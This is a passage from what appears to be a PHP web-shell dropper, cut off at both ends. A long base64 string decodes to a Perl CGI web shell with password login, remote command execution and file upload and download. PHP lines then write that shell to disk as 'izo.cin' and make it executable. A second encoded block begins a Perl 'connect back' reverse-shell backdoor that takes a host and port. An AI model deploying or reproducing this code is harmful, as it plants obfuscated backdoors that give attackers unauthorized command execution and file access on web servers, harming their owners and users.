lSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoJCX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPgpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcHJpbnQgPDxFTkQ7CjwveG1wPgo8Y29kZT4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLgo8YnI+S2lsbGVkIGl0IQo8Y29kZT4KRU5ECgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkKCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7Cgl9CgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOwoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsKCQlpZighJFdpbk5UKQoJCXsKCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsKCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJCX0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgkJewoJCQkkfD0xOwoJCQkkQ29tbWFuZCAuPSAiIHwiOwoJCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCQl7CgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJCXByaW50ICIkX1xuIjsKCQkJfQoJCQkkfD0wOwoJCX0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCQl7CgkJCXByaW50IGAkQ29tbWFuZGA7CgkJfQoJCWlmKCEkV2luTlQpCgkJewoJCQlhbGFybSgwKTsKCQl9CgkJcHJpbnQgIjwveG1wPiI7Cgl9CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJcHJpbnQgPDxFTkQ7Cjxjb2RlPgpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lgo8L2NvZGU+CkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVVcGxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCglwcmludCAiPGNvZGU+VXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJcHJpbnQgIjwvY29kZT4iOwoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKCiRBY3Rpb24gPSAkaW57J2EnfTsKJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAkaW57J2QnfTsKY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CgkmRG93bmxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0K';
$file = fopen("izo.cin" ,"w+");
$write = fwrite ($file ,base64_decode($cgishellizocin));
fclose($file);
chmod("izo.cin",0755);
$netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
